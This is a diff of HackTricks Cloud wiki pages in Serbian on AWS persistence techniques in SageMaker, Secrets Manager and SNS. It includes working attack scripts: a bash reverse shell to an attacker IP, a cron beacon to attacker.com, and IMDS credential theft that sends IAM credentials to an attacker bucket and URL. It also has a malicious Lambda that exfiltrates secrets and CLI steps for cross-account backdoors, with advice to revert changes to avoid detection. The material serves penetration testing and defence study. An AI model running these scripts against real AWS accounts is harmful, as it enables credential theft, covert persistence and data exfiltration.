-nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
-```
-## Cron Job Persistence via Lifecycle Configuration
-
-Napadač može da ubaci cron poslove putem LCC skripti, obezbeđujući periodično izvršavanje malicioznih skripti ili komandi, omogućavajući prikrivenu persistenciju.
-
-### Payload Example:
-```
-#!/bin/bash
-PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
-CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
-CRON_JOB="*/30 * * * * $CRON_CMD"
-
-mkdir -p /home/ec2-user/SageMaker/.local_tasks
-echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
-chmod +x $PAYLOAD_PATH
-
-(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
-```
-## Ekstrakcija akreditiva putem IMDS (v1 i v2)
-
-Konfiguracije životnog ciklusa mogu da upitaju Servis metapodataka instance (IMDS) kako bi preuzele IAM akreditive i ekstraktovale ih na lokaciju pod kontrolom napadača.
-
-### Primer tereta:
-```bash
-#!/bin/bash
-ATTACKER_BUCKET="s3://attacker-controlled-bucket"
-TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
-ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
-curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
-
-# Exfiltrate via S3*
-
-aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
-
-# Alternatively, exfiltrate via HTTP POST*
-
-curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md

@@ -0,0 +1,230 @@
+# AWS - SageMaker Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Pregled Persistence tehnika
+
+Ovaj odeljak iznosi metode za dobijanje persistence u SageMaker zloupotrebom Lifecycle Configurations (LCCs), uključujući reverse shells, cron jobs, credential theft via IMDS i SSH backdoors. Ovi skripti se izvršavaju sa IAM role instance i mogu opstati nakon restartovanja. Većina tehnika zahteva odlazni mrežni pristup, ali korišćenje servisa na AWS control plane-u i dalje može omogućiti uspeh ako je okruženje u 'VPC-only' režimu.
+
+> [!TIP]
+> Napomena: SageMaker notebook instances su u suštini upravljani EC2 instances posebno konfigurisani za machine learning workloads.
+
+## Potrebne dozvole
+* Notebook Instances:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Studio Applications:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## Postavljanje Lifecycle Configuration na Notebook Instances
+
+### Primeri AWS CLI komandi:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## Postavite Lifecycle Configuration u SageMaker Studio
+
+Lifecycle Configurations se mogu priložiti na različitim nivoima i različitim tipovima aplikacija unutar SageMaker Studio.
+
+### Nivo domena Studio (svi korisnici)
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Studio Space Nivo (pojedinačni ili deljeni prostori)
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Vrste konfiguracija životnog ciklusa za Studio aplikacije
+
+Konfiguracije životnog ciklusa se mogu primeniti specifično na različite tipove SageMaker Studio aplikacija:
+* JupyterServer: Pokreće skripte tokom pokretanja Jupyter servera, idealno za mehanizme perzistencije kao što su reverse shells i cron jobs.
+* KernelGateway: Izvršava se tokom pokretanja KernelGateway aplikacije, korisno za inicijalno podešavanje ili trajni pristup.
+* CodeEditor: Odnosi se na Code Editor (Code-OSS), omogućavajući skripte koje se izvršavaju pri početku sesija uređivanja koda.
+
+### Primer komande za svaki tip:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### Uređivač koda
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### Kritične informacije:
+* Dodavanje LCCs na nivou domena ili space-a utiče na sve korisnike ili aplikacije u opsegu.
+* Zahteva veće dozvole (sagemaker:UpdateDomain, sagemaker:UpdateSpace); obično je izvodljivije na nivou space-a nego na nivou domena.
+* Kontrole na nivou mreže (npr. strogo filtriranje izlaznog saobraćaja) mogu sprečiti uspešne reverse shells ili eksfiltraciju podataka.
+
+## Reverse Shell via Lifecycle Configuration
+
+SageMaker Lifecycle Configurations (LCCs) izvršavaju prilagođene skripte kada se notebook instances pokrenu. Napadač sa odgovarajućim dozvolama može uspostaviti trajni reverse shell.
+
+### Payload Example:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistence putem Lifecycle Configuration
+
+Napadač može ubaciti cron job-ove putem LCC skripti, obezbeđujući periodično izvršavanje malicioznih skripti ili komandi, omogućavajući prikrivenu persistence.
+
+### Primer Payload-a:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## Credential Exfiltration via IMDS (v1 & v2)
+
+Lifecycle configurations mogu poslati zahtev ka Instance Metadata Service (IMDS) da preuzmu IAM credentials i exfiltrate ih na lokaciju pod kontrolom napadača.
+
+### Payload Example:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+## Perzistencija preko Model Registry resource policy (PutModelPackageGroupPolicy)
+
+Iskoristite resource-based policy na SageMaker Model Package Group da dodelite eksternom principal-u cross-account prava (npr. CreateModelPackage/Describe/List). Ovo kreira trajan backdoor koji omogućava pushing poisoned model verzija ili čitanje model metadata/artifacts čak i ako je attacker-ov IAM user/role u victim account-u uklonjen.
+
+Required permissions
+- sagemaker:CreateModelPackageGroup
+- sagemaker:PutModelPackageGroupPolicy
+- sagemaker:GetModelPackageGroupPolicy
+
+Steps (us-east-1)
+```bash
+# 1) Create a Model Package Group
+REGION=${REGION:-us-east-1}
+MPG=atk-mpg-$(date +%s)
+aws sagemaker create-model-package-group \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--model-package-group-description "Test backdoor"
+
+# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
+cat > /tmp/mpg-policy.json <<JSON
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowCrossAccountCreateDescribeList",
+"Effect": "Allow",
+"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
+"Action": [
+"sagemaker:CreateModelPackage",
+"sagemaker:DescribeModelPackage",
+"sagemaker:DescribeModelPackageGroup",
+"sagemaker:ListModelPackages"
+],
+"Resource": [
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
+]
+}
+]
+}
+JSON
+
+# 3) Attach the policy to the group
+aws sagemaker put-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
+
+# 4) Retrieve the policy (evidence)
+aws sagemaker get-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--query ResourcePolicy --output text
+```
+Napomene
+- For a real cross-account backdoor, scope Resource to the specific group ARN and use the attacker’s AWS account ID in Principal.
+- For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account.
+
+Uticaj
+- Persistent cross-account control of a Model Registry group: attacker can publish malicious model versions or enumerate/read model metadata even after their IAM entities are removed in the victim account.
+
+## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
+
+Iskoristite SageMaker Canvas korisnička podešavanja da tiho preusmerite upise u model registry na attacker-controlled account omogućavanjem ModelRegisterSettings i postavljanjem CrossAccountModelRegisterRoleArn na attacker role u drugom accountu.
+
+Potrebne dozvole
+- sagemaker:UpdateUserProfile na ciljani UserProfile
+- Opcionalno: sagemaker:CreateUserProfile na Domain koji kontrolišete
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md

@@ -1,51 +0,0 @@
-# AWS - Održavanje u Secrets Manager-u
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Putem politika resursa
-
-Moguće je **dodeliti pristup tajnama spoljnim nalozima** putem politika resursa. Pogledajte [**stranicu o Privesc-u za Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) za više informacija. Imajte na umu da da bi **pristupio tajni**, spoljni nalog će takođe **morati da ima pristup KMS ključu koji enkriptuje tajnu**.
-
-### Putem Lambda rotacije tajni
-
-Da bi se **automatski rotirale tajne**, poziva se konfigurisana **Lambda**. Ako bi napadač mogao da **izmeni** **kod**, mogao bi direktno da **izvuče novu tajnu** za sebe.
-
-Ovako bi kod lambda funkcije za takvu akciju mogao izgledati:
-```python
-import boto3
-
-def rotate_secrets(event, context):
-# Create a Secrets Manager client
-client = boto3.client('secretsmanager')
-
-# Retrieve the current secret value
-secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
-# Rotate the secret by updating its value
-new_secret_value = rotate_secret(secret_value)
-client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
-# Perform the rotation logic here, e.g., generate a new password
-
-# Example: Generate a new password
-new_secret_value = generate_password()
-
-return new_secret_value
-
-def generate_password():
-# Example: Generate a random password using the secrets module
-import secrets
-import string
-password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-return password
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md

@@ -0,0 +1,234 @@
+# AWS - Secrets Manager Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Putem Resource Policies
+
+Moguće je **dodeliti pristup secrets eksternim nalozima** putem resource policies. Pogledajte [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) za više informacija. Imajte na umu da će eksterni nalog, da bi **pristupio secret-u**, takođe **morati imati pristup KMS ključu koji enkriptuje taj secret**.
+
+### Putem Secrets Rotate Lambda
+
+Da bi se automatski **rotate secrets**, poziva se konfigurisana **Lambda**. Ako napadač uspe da **promeni** **kod**, mogao bi direktno **exfiltrate the new secret** sebi.
+
+This is how lambda code for such action could look like:
+```python
+import boto3
+
+def rotate_secrets(event, context):
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
+
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+
+def rotate_secret(secret_value):
+# Perform the rotation logic here, e.g., generate a new password
+
+# Example: Generate a new password
+new_secret_value = generate_password()
+
+return new_secret_value
+
+def generate_password():
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Zamena rotation Lambda za funkciju pod kontrolom napadača putem RotateSecret
+
+Iskoristi `secretsmanager:RotateSecret` da ponovo poveže secret na rotation Lambda pod kontrolom napadača i pokrene trenutnu rotaciju. Zlonamerna funkcija eksfiltrira verzije secreta (AWSCURRENT/AWSPENDING) tokom koraka rotacije (createSecret/setSecret/testSecret/finishSecret) ka destinaciji napadača (npr. S3 ili eksterni HTTP).
+
+- Zahtevi
+- Dozvole: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` na napadačkoj Lambdi, `iam:CreateRole/PassRole/PutRolePolicy` (ili AttachRolePolicy) za dodelu execution role Lambdi sa `secretsmanager:GetSecretValue` i po mogućstvu `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (da rotacija nastavi da radi), KMS `kms:Decrypt` za KMS ključ secreta, i `s3:PutObject` (ili outbound egress) za eksfiltraciju.
+- Ciljni secret id (`SecretId`) sa omogućenim rotiranjem ili mogućnošću da se rotacija omogući.
+
+- Uticaj
+- Napadač dobija vrednost(e) secreta bez izmene legitimnog koda za rotaciju. Promenjena je samo konfiguracija rotacije koja pokazuje na napadačku Lambdu. Ako se ne primeti, zakazane buduće rotacije će i dalje pozivati napadačku funkciju.
+
+- Koraci napada (CLI)
+1) Pripremi destinaciju za eksfiltraciju i Lambda execution rolu
+- Kreiraj S3 bucket za eksfiltraciju i execution rolu kojoj Lambda veruje, sa dozvolama za čitanje secreta i pisanje u S3 (plus logs/KMS kako je potrebno).
+2) Deploy napadačku Lambdu koja pri svakom koraku rotacije preuzme vrednost(e) secreta i upisuje ih u S3. Minimalna logika rotacije može samo kopirati AWSCURRENT u AWSPENDING i promovisati ga u finishSecret da servis ostane funkcionalan.
+3) Ponovo poveži rotaciju i pokreni
+- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
+4) Proveri eksfiltraciju listanjem S3 prefiksa za taj secret i pregledom JSON artefakata.
+5) (Opcionalno) Vrati originalnu rotation Lambdu da smanji verovatnoću detekcije.
+
+- Primer napadačke Lamde (Python) koja eksfiltrira u S3
+- Environment: `EXFIL_BUCKET=<bucket>`
+- Handler: `lambda_function.lambda_handler`
+```python
+import boto3, json, os, base64, datetime
+s3 = boto3.client('s3')
+sm = boto3.client('secretsmanager')
+BUCKET = os.environ['EXFIL_BUCKET']
+
+def write_s3(key, data):
+s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
+
+def lambda_handler(event, context):
+sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
+# Exfil both stages best-effort
+def getv(**kw):
+try:
+r = sm.get_secret_value(**kw)
+return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
+except Exception as e:
+return {'error': str(e)}
+current = getv(SecretId=sid, VersionStage='AWSCURRENT')
+pending = getv(SecretId=sid, VersionStage='AWSPENDING')
+key = f"{sid.replace(':','_')}/{step}/{token}.json"
+write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
+# Minimal rotation (optional): copy current->pending and promote in finishSecret
+# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
+```
+### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
+
+Iskoristite Secrets Manager version staging labels da postavite verziju secreta pod kontrolom napadača i držite je skrivenom pod custom stage-om (na primer, `ATTACKER`) dok produkcija nastavlja da koristi originalni `AWSCURRENT`. U bilo kom trenutku prebacite `AWSCURRENT` na verziju napadača da zatrovate zavisne workloads, pa ga vratite da smanjite šanse za detekciju. Ovo obezbeđuje stealthy backdoor persistence i brzo manipuliranje vremenom upotrebe bez promene imena secreta ili rotacionih podešavanja.
+
+- Zahtevi
+- Dozvole: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (za verifikaciju)
+- Ciljni secret id u Regionu.
+
+- Uticaj
+- Održavajte skrivenu, verziju secreta pod kontrolom napadača i atomarno prebacujte `AWSCURRENT` na nju na zahtev, utičući na bilo kog konzumenta koji rešava isti naziv secreta. Prebacivanje i brzo vraćanje smanjuju šansu za detekciju dok omogućavaju kompromitovanje u trenutku upotrebe.
+
+- Koraci napada (CLI)
+- Priprema
+- `export SECRET_ID=<target secret id or arn>`
+
+<details>
+<summary>CLI komande</summary>
+```bash
+# 1) Capture current production version id (the one holding AWSCURRENT)
+CUR=$(aws secretsmanager list-secret-version-ids \
+--secret-id "$SECRET_ID" \
+--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
+--output text)
+
+# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
+BACKTOK=$(uuidgen)
+aws secretsmanager put-secret-value \
+--secret-id "$SECRET_ID" \
+--client-request-token "$BACKTOK" \
+--secret-string {backdoor:hunter2!}
+
+# 3) Restore production and hide attacker version under custom stage
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage ATTACKER \
+--move-to-version-id "$BACKTOK"
+
+# Verify stages
+aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
+
+# 4) On-demand flip to the attacker’s value and revert quickly
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$BACKTOK" \
+--remove-from-version-id "$CUR"
+
+# Validate served plaintext now equals the attacker payload
+aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
+
+# Revert to reduce detection
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+```
+</details>
+
+- Napomene
+- Kada navedete `--client-request-token`, Secrets Manager ga koristi kao `VersionId`. Dodavanje nove verzije bez eksplicitnog podešavanja `--version-stages` podrazumevano pomera `AWSCURRENT` na novu verziju i označava prethodnu kao `AWSPREVIOUS`.
+
+
+### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
+
+- Iskoristite multi-Region replikaciju Secrets Manager-a da kreirate repliku ciljne tajne u manje nadgledanom Regionu, enkriptujete je KMS ključem pod kontrolom attacker-a u tom Regionu, zatim promovišete repliku u samostalnu tajnu i primenite permisivnu politiku resursa koja attacker-u daje pristup za čitanje. Originalna tajna u primarnom Regionu ostaje nepromenjena, što omogućava trajni, prikriveni pristup vrednosti tajne preko promovisanog replike dok se zaobilaze KMS/policy ograničenja na primarnoj.
+
+- Zahtevi
+- Dozvole: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
+- U Regionu replike: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (or `kms:PutKeyPolicy`) kako bi attacker principal mogao da izvrši `kms:Decrypt`.
+- Attacker principal (user/role) koji će dobiti pristup za čitanje promovisanoj tajni.
+
+- Uticaj
+- Trajna cross-Region putanja pristupa do vrednosti tajne kroz samostalnu repliku pod attacker-controlled KMS CMK i permisivnom politikom resursa. Primarna tajna u originalnom Regionu ostaje netaknuta.
+
+- Napad (CLI)
+- Varijable
+```bash
+export R1=<primary-region>   # e.g., us-east-1
+export R2=<replica-region>   # e.g., us-west-2
+export SECRET_ID=<secret name or ARN in R1>
+export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
+```
+1) Kreirajte KMS ključ kojim kontroliše napadač u replica Region
+```bash
+cat > /tmp/kms_policy.json <<'JSON'
+{"Version":"2012-10-17","Statement":[
+{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
+]}
+JSON
+KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
+--query KeyMetadata.KeyId --output text)
+aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
+# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
+aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
+```
+2) Replikujte tajnu na R2 koristeći napadačev KMS ključ
+```bash
+aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
+--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
+aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
+```
+3) Promovišite repliku u samostalnu instancu u R2
+```bash
+# Use the secret name (same across Regions)
+NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
+aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
+aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
+```
+4) Priložite permisivnu politiku resursa na samostalnu tajnu u R2
+```bash
+cat > /tmp/replica_policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
+JSON
+aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
+aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
+```
+5) Pročitaj secret od attacker principal u R2
+```bash
+# Configure attacker credentials and read
+aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
+```
+

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

@@ -1,77 +0,0 @@
-# AWS - SNS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Persistence
-
-Kada kreirate **SNS temu**, potrebno je da naznačite sa IAM politikom **ko ima pristup za čitanje i pisanje**. Moguće je naznačiti spoljne naloge, ARN uloga, ili **čak "\*"**.\
-Sledeća politika daje svima u AWS-u pristup za čitanje i pisanje u SNS temi pod nazivom **`MySNS.fifo`**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__default_statement_ID",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"SNS:Publish",
-"SNS:RemovePermission",
-"SNS:SetTopicAttributes",
-"SNS:DeleteTopic",
-"SNS:ListSubscriptionsByTopic",
-"SNS:GetTopicAttributes",
-"SNS:AddPermission",
-"SNS:Subscribe"
-],
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-"Condition": {
-"StringEquals": {
-"AWS:SourceOwner": "318142138553"
-}
-}
-},
-{
-"Sid": "__console_pub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Publish",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-},
-{
-"Sid": "__console_sub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Subscribe",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-}
-]
-}
-```
-### Kreirajte Pretplatnike
-
-Da bi se nastavilo sa eksfiltracijom svih poruka sa svih tema, napadač može **kreirati pretplatnike za sve teme**.
-
-Napomena: ako je **tema tipa FIFO**, mogu se koristiti samo pretplatnici koji koriste protokol **SQS**.
-```bash
-aws sns subscribe --region <region> \
---protocol http \
---notification-endpoint http://<attacker>/ \
---topic-arn <arn>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md

@@ -0,0 +1,113 @@
+# AWS - SNS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Persistence
+
+Kada kreirate **SNS topic**, potrebno je putem IAM policy-ja naznačiti **ko ima pristup za čitanje i pisanje**. Moguće je navesti spoljne naloge, ARN uloga, ili **čak "\*"**.\
+Sledeća policy daje svima u AWS pristup za čitanje i pisanje u SNS topic pod nazivom **`MySNS.fifo`**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
+}
+```
+### Kreirajte pretplatnike
+
+Da bi nastavio exfiltrating svih poruka sa svih tema, attacker može **kreirati pretplatnike za sve teme**.
+
+Imajte na umu da, ako je **tema tipa FIFO**, mogu se koristiti samo pretplatnici koji koriste protokol **SQS**.
+```bash
+aws sns subscribe --region <region> \
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
+```
+### Tajna, selektivna eksfiltracija preko FilterPolicy na MessageBody
+
+Napadač koji ima `sns:Subscribe` i `sns:SetSubscriptionAttributes` na topic-u može kreirati prikrivenu SQS pretplatu koja prosleđuje samo poruke čije telo u JSON-u odgovara veoma uskom filteru (npr. `{"secret":"true"}`). Ovo smanjuje obim i detekciju, a ipak omogućava eksfiltraciju osetljivih zapisa.
+
+**Mogući uticaj**: Tajna, niskobučna eksfiltracija samo ciljanih SNS poruka sa topica žrtve.
+
+Koraci (AWS CLI):
